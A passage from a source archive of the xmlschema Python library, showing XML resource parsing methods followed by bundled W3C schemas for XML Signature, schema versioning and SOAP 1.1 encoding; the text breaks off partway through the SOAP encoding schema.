self._lazy_iterparse(cm.fp): if event == "start": if ancestors is not None and level < path_depth: ancestors.append(node) level += 1 else: level -= 1 if level < path_depth: if ancestors is not None: ancestors.pop() continue elif level == path_depth: if select_all or node in selector.iter_select(self): yield node if level == lazy_depth: self._clear(node, ancestors) def find(self, path: str, namespaces: Optional[NsmapType] = None, ancestors: Optional[list[ElementType]] = None) -> Optional[ElementType]: return next(self.iterfind(path, namespaces, ancestors), None) def findall(self, path: str, namespaces: Optional[NsmapType] = None) \ -> list[ElementType]: return list(self.iterfind(path, namespaces)) def findtext(self, path: str, default: Optional[str] = None, namespaces: Optional[NsmapType] = None) -> Optional[str]: for elem in self.iterfind(path, namespaces): return '' if elem.text is None else elem.text else: return default def get_namespaces(self, namespaces: Optional[NsmapType] = None, root_only: bool = True) -> NsmapType: """ Extracts namespaces with related prefixes from the XML resource. If a duplicate prefix is encountered in a xmlns declaration, and this is mapped to a different namespace, adds the namespace using a different generated prefix. The empty prefix '' is used only if it's declared at root level to avoid erroneous mapping of local names. In other cases it uses the prefix 'default' as substitute. :param namespaces: is an optional mapping from namespace prefix to URI that \ integrate/override the namespace declarations of the root element. :param root_only: if `True` extracts only the namespaces declared in the root \ element, otherwise scan the whole tree for further namespace declarations. \ A full namespace map can be useful for cases where the element context is \ not available. :return: a dictionary for mapping namespace prefixes to full URI. """ namespaces = get_namespace_map(namespaces) try: for elem in self.iter(): if elem in self._xmlns: update_namespaces(namespaces, self._xmlns[elem], elem is self.root) if root_only: break except (ElementTree.ParseError, UnicodeEncodeError): return namespaces # a lazy resource with malformed XML data else: return namespaces def get_locations(self, locations: Optional[LocationsType] = None, root_only: bool = True) -> NormalizedLocationsType: """ Extracts a list of schema location hints from the XML resource. The locations are normalized using the base URL of the instance. :param locations: a sequence of schema location hints inserted \ before the ones extracted from the XML resource. Locations passed \ within a tuple container are not normalized. :param root_only: if `True` extracts only the location hints of the \ root element. :returns: a list of couples containing normalized location hints. """ if not locations: location_hints = [] elif isinstance(locations, tuple): location_hints = [x for x in locations] else: location_hints = normalize_locations(locations, self.base_url) if root_only: location_hints.extend([ (ns, normalize_url(url, self.base_url)) for ns, url in etree_iter_location_hints(self.root) ]) else: try: location_hints.extend([ (ns, normalize_url(url, self.base_url)) for ns, url in self.iter_location_hints() ]) except (ElementTree.ParseError, UnicodeEncodeError): pass # a lazy resource containing malformed XML data after the first tag return location_hints ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017071�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/DSIG/�������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017617�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/DSIG/xmldsig-core-schema.xsd��������������������������������������0000664�0000000�0000000�00000024317�15020401055�0024201�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- Fallback schema for http://www.w3.org/2000/09/xmldsig# namespace: - DTD commented out for processing the schema with the safe parser --> <!-- <!DOCTYPE schema PUBLIC "-//W3C//DTD XMLSchema 200102//EN" "http://www.w3.org/2001/XMLSchema.dtd" [ <!ATTLIST schema xmlns:ds CDATA #FIXED "http://www.w3.org/2000/09/xmldsig#"> <!ENTITY dsig 'http://www.w3.org/2000/09/xmldsig#'> <!ENTITY % p ''> <!ENTITY % s ''> ]> --> <!-- Schema for XML Signatures http://www.w3.org/2000/09/xmldsig# $Revision: 1.1 $ on $Date: 2002/02/08 20:32:26 $ by $Author: reagle $ Copyright 2001 The Internet Society and W3C (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. http://www.w3.org/Consortium/Legal/ This document is governed by the W3C Software License [1] as described in the FAQ [2]. [1] http://www.w3.org/Consortium/Legal/copyright-software-19980720 [2] http://www.w3.org/Consortium/Legal/IPR-FAQ-20000620.html#DTD --> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" targetNamespace="http://www.w3.org/2000/09/xmldsig#" version="0.1" elementFormDefault="qualified"> <!-- Basic Types Defined for Signatures --> <simpleType name="CryptoBinary"> <restriction base="base64Binary"> </restriction> </simpleType> <!-- Start Signature --> <element name="Signature" type="ds:SignatureType"/> <complexType name="SignatureType"> <sequence> <element ref="ds:SignedInfo"/> <element ref="ds:SignatureValue"/> <element ref="ds:KeyInfo" minOccurs="0"/> <element ref="ds:Object" minOccurs="0" maxOccurs="unbounded"/> </sequence> <attribute name="Id" type="ID" use="optional"/> </complexType> <element name="SignatureValue" type="ds:SignatureValueType"/> <complexType name="SignatureValueType"> <simpleContent> <extension base="base64Binary"> <attribute name="Id" type="ID" use="optional"/> </extension> </simpleContent> </complexType> <!-- Start SignedInfo --> <element name="SignedInfo" type="ds:SignedInfoType"/> <complexType name="SignedInfoType"> <sequence> <element ref="ds:CanonicalizationMethod"/> <element ref="ds:SignatureMethod"/> <element ref="ds:Reference" maxOccurs="unbounded"/> </sequence> <attribute name="Id" type="ID" use="optional"/> </complexType> <element name="CanonicalizationMethod" type="ds:CanonicalizationMethodType"/> <complexType name="CanonicalizationMethodType" mixed="true"> <sequence> <any namespace="##any" minOccurs="0" maxOccurs="unbounded"/> <!-- (0,unbounded) elements from (1,1) namespace --> </sequence> <attribute name="Algorithm" type="anyURI" use="required"/> </complexType> <element name="SignatureMethod" type="ds:SignatureMethodType"/> <complexType name="SignatureMethodType" mixed="true"> <sequence> <element name="HMACOutputLength" minOccurs="0" type="ds:HMACOutputLengthType"/> <any namespace="##other" minOccurs="0" maxOccurs="unbounded"/> <!-- (0,unbounded) elements from (1,1) external namespace --> </sequence> <attribute name="Algorithm" type="anyURI" use="required"/> </complexType> <!-- Start Reference --> <element name="Reference" type="ds:ReferenceType"/> <complexType name="ReferenceType"> <sequence> <element ref="ds:Transforms" minOccurs="0"/> <element ref="ds:DigestMethod"/> <element ref="ds:DigestValue"/> </sequence> <attribute name="Id" type="ID" use="optional"/> <attribute name="URI" type="anyURI" use="optional"/> <attribute name="Type" type="anyURI" use="optional"/> </complexType> <element name="Transforms" type="ds:TransformsType"/> <complexType name="TransformsType"> <sequence> <element ref="ds:Transform" maxOccurs="unbounded"/> </sequence> </complexType> <element name="Transform" type="ds:TransformType"/> <complexType name="TransformType" mixed="true"> <choice minOccurs="0" maxOccurs="unbounded"> <any namespace="##other" processContents="lax"/> <!-- (1,1) elements from (0,unbounded) namespaces --> <element name="XPath" type="string"/> </choice> <attribute name="Algorithm" type="anyURI" use="required"/> </complexType> <!-- End Reference --> <element name="DigestMethod" type="ds:DigestMethodType"/> <complexType name="DigestMethodType" mixed="true"> <sequence> <any namespace="##other" processContents="lax" minOccurs="0" maxOccurs="unbounded"/> </sequence> <attribute name="Algorithm" type="anyURI" use="required"/> </complexType> <element name="DigestValue" type="ds:DigestValueType"/> <simpleType name="DigestValueType"> <restriction base="base64Binary"/> </simpleType> <!-- End SignedInfo --> <!-- Start KeyInfo --> <element name="KeyInfo" type="ds:KeyInfoType"/> <complexType name="KeyInfoType" mixed="true"> <choice maxOccurs="unbounded"> <element ref="ds:KeyName"/> <element ref="ds:KeyValue"/> <element ref="ds:RetrievalMethod"/> <element ref="ds:X509Data"/> <element ref="ds:PGPData"/> <element ref="ds:SPKIData"/> <element ref="ds:MgmtData"/> <any processContents="lax" namespace="##other"/> <!-- (1,1) elements from (0,unbounded) namespaces --> </choice> <attribute name="Id" type="ID" use="optional"/> </complexType> <element name="KeyName" type="string"/> <element name="MgmtData" type="string"/> <element name="KeyValue" type="ds:KeyValueType"/> <complexType name="KeyValueType" mixed="true"> <choice> <element ref="ds:DSAKeyValue"/> <element ref="ds:RSAKeyValue"/> <any namespace="##other" processContents="lax"/> </choice> </complexType> <element name="RetrievalMethod" type="ds:RetrievalMethodType"/> <complexType name="RetrievalMethodType"> <sequence> <element ref="ds:Transforms" minOccurs="0"/> </sequence> <attribute name="URI" type="anyURI"/> <attribute name="Type" type="anyURI" use="optional"/> </complexType> <!-- Start X509Data --> <element name="X509Data" type="ds:X509DataType"/> <complexType name="X509DataType"> <sequence maxOccurs="unbounded"> <choice> <element name="X509IssuerSerial" type="ds:X509IssuerSerialType"/> <element name="X509SKI" type="base64Binary"/> <element name="X509SubjectName" type="string"/> <element name="X509Certificate" type="base64Binary"/> <element name="X509CRL" type="base64Binary"/> <any namespace="##other" processContents="lax"/> </choice> </sequence> </complexType> <complexType name="X509IssuerSerialType"> <sequence> <element name="X509IssuerName" type="string"/> <element name="X509SerialNumber" type="integer"/> </sequence> </complexType> <!-- End X509Data --> <!-- Begin PGPData --> <element name="PGPData" type="ds:PGPDataType"/> <complexType name="PGPDataType"> <choice> <sequence> <element name="PGPKeyID" type="base64Binary"/> <element name="PGPKeyPacket" type="base64Binary" minOccurs="0"/> <any namespace="##other" processContents="lax" minOccurs="0" maxOccurs="unbounded"/> </sequence> <sequence> <element name="PGPKeyPacket" type="base64Binary"/> <any namespace="##other" processContents="lax" minOccurs="0" maxOccurs="unbounded"/> </sequence> </choice> </complexType> <!-- End PGPData --> <!-- Begin SPKIData --> <element name="SPKIData" type="ds:SPKIDataType"/> <complexType name="SPKIDataType"> <sequence maxOccurs="unbounded"> <element name="SPKISexp" type="base64Binary"/> <any namespace="##other" processContents="lax" minOccurs="0"/> </sequence> </complexType> <!-- End SPKIData --> <!-- End KeyInfo --> <!-- Start Object (Manifest, SignatureProperty) --> <element name="Object" type="ds:ObjectType"/> <complexType name="ObjectType" mixed="true"> <sequence minOccurs="0" maxOccurs="unbounded"> <any namespace="##any" processContents="lax"/> </sequence> <attribute name="Id" type="ID" use="optional"/> <attribute name="MimeType" type="string" use="optional"/> <!-- add a grep facet --> <attribute name="Encoding" type="anyURI" use="optional"/> </complexType> <element name="Manifest" type="ds:ManifestType"/> <complexType name="ManifestType"> <sequence> <element ref="ds:Reference" maxOccurs="unbounded"/> </sequence> <attribute name="Id" type="ID" use="optional"/> </complexType> <element name="SignatureProperties" type="ds:SignaturePropertiesType"/> <complexType name="SignaturePropertiesType"> <sequence> <element ref="ds:SignatureProperty" maxOccurs="unbounded"/> </sequence> <attribute name="Id" type="ID" use="optional"/> </complexType> <element name="SignatureProperty" type="ds:SignaturePropertyType"/> <complexType name="SignaturePropertyType" mixed="true"> <choice maxOccurs="unbounded"> <any namespace="##other" processContents="lax"/> <!-- (1,1) elements from (1,unbounded) namespaces --> </choice> <attribute name="Target" type="anyURI" use="required"/> <attribute name="Id" type="ID" use="optional"/> </complexType> <!-- End Object (Manifest, SignatureProperty) --> <!-- Start Algorithm Parameters --> <simpleType name="HMACOutputLengthType"> <restriction base="integer"/> </simpleType> <!-- Start KeyValue Element-types --> <element name="DSAKeyValue" type="ds:DSAKeyValueType"/> <complexType name="DSAKeyValueType"> <sequence> <sequence minOccurs="0"> <element name="P" type="ds:CryptoBinary"/> <element name="Q" type="ds:CryptoBinary"/> </sequence> <element name="G" type="ds:CryptoBinary" minOccurs="0"/> <element name="Y" type="ds:CryptoBinary"/> <element name="J" type="ds:CryptoBinary" minOccurs="0"/> <sequence minOccurs="0"> <element name="Seed" type="ds:CryptoBinary"/> <element name="PgenCounter" type="ds:CryptoBinary"/> </sequence> </sequence> </complexType> <element name="RSAKeyValue" type="ds:RSAKeyValueType"/> <complexType name="RSAKeyValueType"> <sequence> <element name="Modulus" type="ds:CryptoBinary"/> <element name="Exponent" type="ds:CryptoBinary"/> </sequence> </complexType> <!-- End KeyValue Element-types --> <!-- End Signature --> </schema> �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/DSIG/xmldsig11-schema.xsd�����������������������������������������0000664�0000000�0000000�00000011070�15020401055�0023405�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version="1.0" encoding="utf-8"?> <!-- # # Copyright ©[2011] World Wide Web Consortium # (Massachusetts Institute of Technology, # European Research Consortium for Informatics and Mathematics, # Keio University). All Rights Reserved. # This work is distributed under the W3C® Software License [1] in the # hope that it will be useful, but WITHOUT ANY WARRANTY; without even # the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR # PURPOSE. # [1] http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231 # --> <schema xmlns="http://www.w3.org/2001/XMLSchema" xmlns:ds="http://www.w3.org/2000/09/xmldsig#" xmlns:dsig11="http://www.w3.org/2009/xmldsig11#" targetNamespace="http://www.w3.org/2009/xmldsig11#" version="0.1" elementFormDefault="qualified"> <import namespace="http://www.w3.org/2000/09/xmldsig#"/> <element name="ECKeyValue" type="dsig11:ECKeyValueType"/> <complexType name="ECKeyValueType"> <sequence> <choice> <element name="ECParameters" type="dsig11:ECParametersType"/> <element name="NamedCurve" type="dsig11:NamedCurveType"/> </choice> <element name="PublicKey" type="dsig11:ECPointType"/> </sequence> <attribute name="Id" type="ID" use="optional"/> </complexType> <complexType name="NamedCurveType"> <attribute name="URI" type="anyURI" use="required"/> </complexType> <simpleType name="ECPointType"> <restriction base="ds:CryptoBinary"/> </simpleType> <complexType name="ECParametersType"> <sequence> <element name="FieldID" type="dsig11:FieldIDType"/> <element name="Curve" type="dsig11:CurveType"/> <element name="Base" type="dsig11:ECPointType"/> <element name="Order" type="ds:CryptoBinary"/> <element name="CoFactor" type="integer" minOccurs="0"/> <element name="ValidationData" type="dsig11:ECValidationDataType" minOccurs="0"/> </sequence> </complexType> <complexType name="FieldIDType"> <choice> <element ref="dsig11:Prime"/> <element ref="dsig11:TnB"/> <element ref="dsig11:PnB"/> <element ref="dsig11:GnB"/> <any namespace="##other" processContents="lax"/> </choice> </complexType> <complexType name="CurveType"> <sequence> <element name="A" type="ds:CryptoBinary"/> <element name="B" type="ds:CryptoBinary"/> </sequence> </complexType> <complexType name="ECValidationDataType"> <sequence> <element name="seed" type="ds:CryptoBinary"/> </sequence> <attribute name="hashAlgorithm" type="anyURI" use="required"/> </complexType> <element name="Prime" type="dsig11:PrimeFieldParamsType"/> <complexType name="PrimeFieldParamsType"> <sequence> <element name="P" type="ds:CryptoBinary"/> </sequence> </complexType> <element name="GnB" type="dsig11:CharTwoFieldParamsType"/> <complexType name="CharTwoFieldParamsType"> <sequence> <element name="M" type="positiveInteger"/> </sequence> </complexType> <element name="TnB" type="dsig11:TnBFieldParamsType"/> <complexType name="TnBFieldParamsType"> <complexContent> <extension base="dsig11:CharTwoFieldParamsType"> <sequence> <element name="K" type="positiveInteger"/> </sequence> </extension> </complexContent> </complexType> <element name="PnB" type="dsig11:PnBFieldParamsType"/> <complexType name="PnBFieldParamsType"> <complexContent> <extension base="dsig11:CharTwoFieldParamsType"> <sequence> <element name="K1" type="positiveInteger"/> <element name="K2" type="positiveInteger"/> <element name="K3" type="positiveInteger"/> </sequence> </extension> </complexContent> </complexType> <element name="DEREncodedKeyValue" type="dsig11:DEREncodedKeyValueType"/> <complexType name="DEREncodedKeyValueType"> <simpleContent> <extension base="base64Binary"> <attribute name="Id" type="ID" use="optional"/> </extension> </simpleContent> </complexType> <element name="KeyInfoReference" type="dsig11:KeyInfoReferenceType"/> <complexType name="KeyInfoReferenceType"> <attribute name="URI" type="anyURI" use="required"/> <attribute name="Id" type="ID" use="optional"/> </complexType> <element name="X509Digest" type="dsig11:X509DigestType"/> <complexType name="X509DigestType"> <simpleContent> <extension base="base64Binary"> <attribute name="Algorithm" type="anyURI" use="required"/> </extension> </simpleContent> </complexType> </schema> ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/HFP/��������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017506�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/HFP/XMLSchema-hasFacetAndProperty.xsd�����������������������������0000664�0000000�0000000�00000002776�15020401055�0025727�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0'?> <schema xmlns="http://www.w3.org/2001/XMLSchema" targetNamespace="http://www.w3.org/2001/XMLSchema-hasFacetAndProperty" xmlns:hfp="http://www.w3.org/2001/XMLSchema-hasFacetAndProperty"> <!-- A minimal schema that not requires the loading of xhtml namespace --> <element name="hasFacet"> <complexType> <attribute name="name" use="required"> <simpleType> <restriction base="NMTOKEN"> <enumeration value="length"/> <enumeration value="minLength"/> <enumeration value="maxLength"/> <enumeration value="pattern"/> <enumeration value="enumeration"/> <enumeration value="maxInclusive"/> <enumeration value="maxExclusive"/> <enumeration value="minInclusive"/> <enumeration value="minExclusive"/> <enumeration value="totalDigits"/> <enumeration value="fractionDigits"/> <enumeration value="whiteSpace"/> <enumeration value="maxScale"/> <enumeration value="minScale"/> </restriction> </simpleType> </attribute> </complexType> </element> <element name="hasProperty"> <complexType> <attribute name="name" use="required"> <simpleType> <restriction base="NMTOKEN"> <enumeration value="ordered"/> <enumeration value="bounded"/> <enumeration value="cardinality"/> <enumeration value="numeric"/> </restriction> </simpleType> </attribute> <attribute name="value" type="normalizedString" use="required"/> </complexType> </element> </schema> ��xmlschema-4.1.0/xmlschema/schemas/VC/���������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017401�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/VC/XMLSchema-versioning.xsd���������������������������������������0000664�0000000�0000000�00000002665�15020401055�0024074�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<schema xmlns="http://www.w3.org/2001/XMLSchema" targetNamespace="http://www.w3.org/2007/XMLSchema-versioning"> <!-- Patched version for python-xmlschema (wrong xmlns declaration) --> <annotation> <documentation> <div xmlns="http://www.w3.org/1999/xhtml"> <p>Simple schema for the XML Schema Versioning namespace. 27 August 2007. </p> <p>The conventional prefix for this namespace is "<code>vc</code>".</p> <p>It isn't currently expected that this schema document will actually be used to validate anything; it's intended primarily as documentation. </p> </div> </documentation> <appinfo> </appinfo> </annotation> <attribute name="minVersion" type="decimal"> <annotation> <documentation> <div xmlns="http://www.w3.org/1999/xhtml"> <p>The <code>minVersion</code> attribute specifies that its parent element should be ignored by any processor supporting a version number lower than the <code>minVersion</code> value.</p> </div> </documentation> </annotation> </attribute> <attribute name="maxVersion" type="decimal"> <annotation> <documentation> <div xmlns="http://www.w3.org/1999/xhtml"> <p>The <code>maxVersion</code> attribute specifies that its parent element should be ignored by any processor supporting a version number higher than the <code>maxVersion</code> value.</p> </div> </documentation> </annotation> </attribute> </schema> ���������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/WSDL/�������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017642�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/schemas/WSDL/soap-encoding.xsd��������������������������������������������0000664�0000000�0000000�00000045404�15020401055�0023117�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?xml version='1.0' encoding='UTF-8' ?> <!-- Schema for the SOAP/1.1 encoding Portions © 2001 DevelopMentor. © 2001 W3C (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. This document is governed by the W3C Software License [1] as described in the FAQ [2]. [1] http://www.w3.org/Consortium/Legal/copyright-software-19980720 [2] http://www.w3.org/Consortium/Legal/IPR-FAQ-20000620.html#DTD By obtaining, using and/or copying this work, you (the licensee) agree that you have read, understood, and will comply with the following terms and conditions: Permission to use, copy, modify, and distribute this software and its documentation, with or without modification, for any purpose and without fee or royalty is hereby granted, provided that you include the following on ALL copies of the software and documentation or portions thereof, including modifications, that you make: 1. The full text of this NOTICE in a location viewable to users of the redistributed or derivative work. 2. Any pre-existing intellectual property disclaimers, notices, or terms and conditions. If none exist, a short notice of the following form (hypertext is preferred, text is permitted) should be used within the body of any redistributed or derivative code: "Copyright © 2001 World Wide Web Consortium, (Massachusetts Institute of Technology, Institut National de Recherche en Informatique et en Automatique, Keio University). All Rights Reserved. http://www.w3.org/Consortium/Legal/" 3. Notice of any changes or modifications to the W3C files, including the date changes were made. (We recommend you provide URIs to the location from which the code is derived.) Original W3C files; http://www.w3.org/2001/06/soap-encoding Changes made: - reverted namespace to http://schemas.xmlsoap.org/soap/encoding/ - reverted root to only allow 0 and 1 as lexical values - removed default value from root attribute declaration THIS SOFTWARE AND DOCUMENTATION IS PROVIDED "AS IS," AND COPYRIGHT HOLDERS MAKE NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO, WARRANTIES OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE OR DOCUMENTATION WILL NOT INFRINGE ANY THIRD PARTY PATENTS, COPYRIGHTS, TRADEMARKS OR OTHER RIGHTS. COPYRIGHT HOLDERS WILL NOT BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF ANY USE OF THE SOFTWARE OR DOCUMENTATION. The name and trademarks of copyright holders may NOT be used in advertising or publicity pertaining to the software without specific, written prior permission. Title to copyright in this software and any associated documentation will at all times remain with copyright holders. --> <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:tns="http://schemas.xmlsoap.org/soap/encoding/" targetNamespace="http://schemas.xmlsoap.org/soap/encoding/" > <xs:attribute name="root" > <xs:annotation> <xs:documentation> 'root' can be used to distinguish serialization roots from other elements that are present in a serialization but are not roots of a serialized value graph </xs:documentation> </xs:annotation> <xs:simpleType> <xs:restriction base='xs:boolean'> <xs:pattern value='0|1' /> </xs:restriction> </xs:simpleType> </xs:attribute> <xs:attributeGroup name="commonAttributes" > <xs:annotation> <xs:documentation> Attributes common to all elements that function as accessors or represent independent (multi-ref) values. The href attribute is intended to be used in a manner like CONREF. That is, the element content should be empty iff the href attribute appears </xs:documentation> </xs:annotation> <xs:attribute name="id" type="xs:ID" /> <xs:attribute name="href" type="xs:anyURI" /> <xs:anyAttribute namespace="##other" processContents="lax" /> </xs:attributeGroup> <!-- Global Attributes. The following attributes are intended to be usable via qualified attribute names on any complex type referencing them. --> <!-- Array attributes. Needed to give the type and dimensions of an array's contents, and the offset for partially-transmitted arrays. --> <xs:simpleType name="arrayCoordinate" > <xs:restriction base="xs:string" /> </xs:simpleType> <xs:attribute name="arrayType" type="xs:string" /> <xs:attribute name="offset" type="tns:arrayCoordinate" /> <xs:attributeGroup name="arrayAttributes" > <xs:attribute ref="tns:arrayType" /> <xs:attribute ref="tns:offset" /> </xs:attributeGroup> <xs:attribute name="position" type="tns:arrayCoordinate" /> <xs:attributeGroup name="arrayMemberAttributes" > <xs:attribute ref="tns:position" /> </xs:attributeGroup> <xs:group name="Array" > <xs:sequence> <xs:any namespace="##any" minOccurs="0" maxOccurs="unbounded" processContents="lax" /> </xs:sequence> </xs:group> <xs:element name="Array" type="tns:Array" /> <xs:complexType name="Array" > <xs:annotation> <xs:documentation> 'Array' is a complex type for accessors identified by position </xs:documentation> </xs:annotation> <xs:group ref="tns:Array" minOccurs="0" /> <xs:attributeGroup ref="tns:arrayAttributes" /> <xs:attributeGroup ref="tns:commonAttributes" /> </xs:complexType> <!-- 'Struct' is a complex type for accessors identified by name. Constraint: No element may be have the same name as any other, nor may any element have a maxOccurs > 1. --> <xs:element name="Struct" type="tns:Struct" /> <xs:group name="Struct" > <xs:sequence> <xs:any namespace="##any" minOccurs="0" maxOccurs="unbounded" processContents="lax" /> </xs:sequence> </xs:group> <xs:complexType name="Struct" > <xs:group ref="tns:Struct" minOccurs="0" /> <xs:attributeGroup ref="tns:commonAttributes"/> </xs:complexType> <!-- 'Base64' can be used to serialize binary data using base64 encoding as defined in RFC2045 but without the MIME line length limitation. --> <xs:simpleType name="base64" > <xs:restriction base="xs:base64Binary" /> </xs:simpleType> <!-- Element declarations corresponding to each of the simple types in the XML Schemas Specification. --> <xs:element name="duration" type="tns:duration" /> <xs:complexType name="duration" > <xs:simpleContent> <xs:extension base="xs:duration" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="dateTime" type="tns:dateTime" /> <xs:complexType name="dateTime" > <xs:simpleContent> <xs:extension base="xs:dateTime" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="NOTATION" type="tns:NOTATION" /> <xs:complexType name="NOTATION" > <xs:simpleContent> <xs:extension base="xs:QName" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="time" type="tns:time" /> <xs:complexType name="time" > <xs:simpleContent> <xs:extension base="xs:time" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="date" type="tns:date" /> <xs:complexType name="date" > <xs:simpleContent> <xs:extension base="xs:date" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="gYearMonth" type="tns:gYearMonth" /> <xs:complexType name="gYearMonth" > <xs:simpleContent> <xs:extension base="xs:gYearMonth" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="gYear" type="tns:gYear" /> <xs:complexType name="gYear" > <xs:simpleContent> <xs:extension base="xs:gYear" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="gMonthDay" type="tns:gMonthDay" /> <xs:complexType name="gMonthDay" > <xs:simpleContent> <xs:extension base="xs:gMonthDay" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="gDay" type="tns:gDay" /> <xs:complexType name="gDay" > <xs:simpleContent> <xs:extension base="xs:gDay" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="gMonth" type="tns:gMonth" /> <xs:complexType name="gMonth" > <xs:simpleContent> <xs:extension base="xs:gMonth" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="boolean" type="tns:boolean" /> <xs:complexType name="boolean" > <xs:simpleContent> <xs:extension base="xs:boolean" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="base64Binary" type="tns:base64Binary" /> <xs:complexType name="base64Binary" > <xs:simpleContent> <xs:extension base="xs:base64Binary" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="hexBinary" type="tns:hexBinary" /> <xs:complexType name="hexBinary" > <xs:simpleContent> <xs:extension base="xs:hexBinary" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="float" type="tns:float" /> <xs:complexType name="float" > <xs:simpleContent> <xs:extension base="xs:float" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="double" type="tns:double" /> <xs:complexType name="double" > <xs:simpleContent> <xs:extension base="xs:double" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="anyURI" type="tns:anyURI" /> <xs:complexType name="anyURI" > <xs:simpleContent> <xs:extension base="xs:anyURI" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="QName" type="tns:QName" /> <xs:complexType name="QName" > <xs:simpleContent> <xs:extension base="xs:QName" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="string" type="tns:string" /> <xs:complexType name="string" > <xs:simpleContent> <xs:extension base="xs:string" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="normalizedString" type="tns:normalizedString" /> <xs:complexType name="normalizedString" > <xs:simpleContent> <xs:extension base="xs:normalizedString" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="token" type="tns:token" /> <xs:complexType name="token" > <xs:simpleContent> <xs:extension base="xs:token" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="language" type="tns:language" /> <xs:complexType name="language" > <xs:simpleContent> <xs:extension base="xs:language" > <xs:attributeGroup ref="tns:commonAttributes" /> </xs:extension> </xs:simpleContent> </xs:complexType> <xs:element name="Name" type="tns:Name" 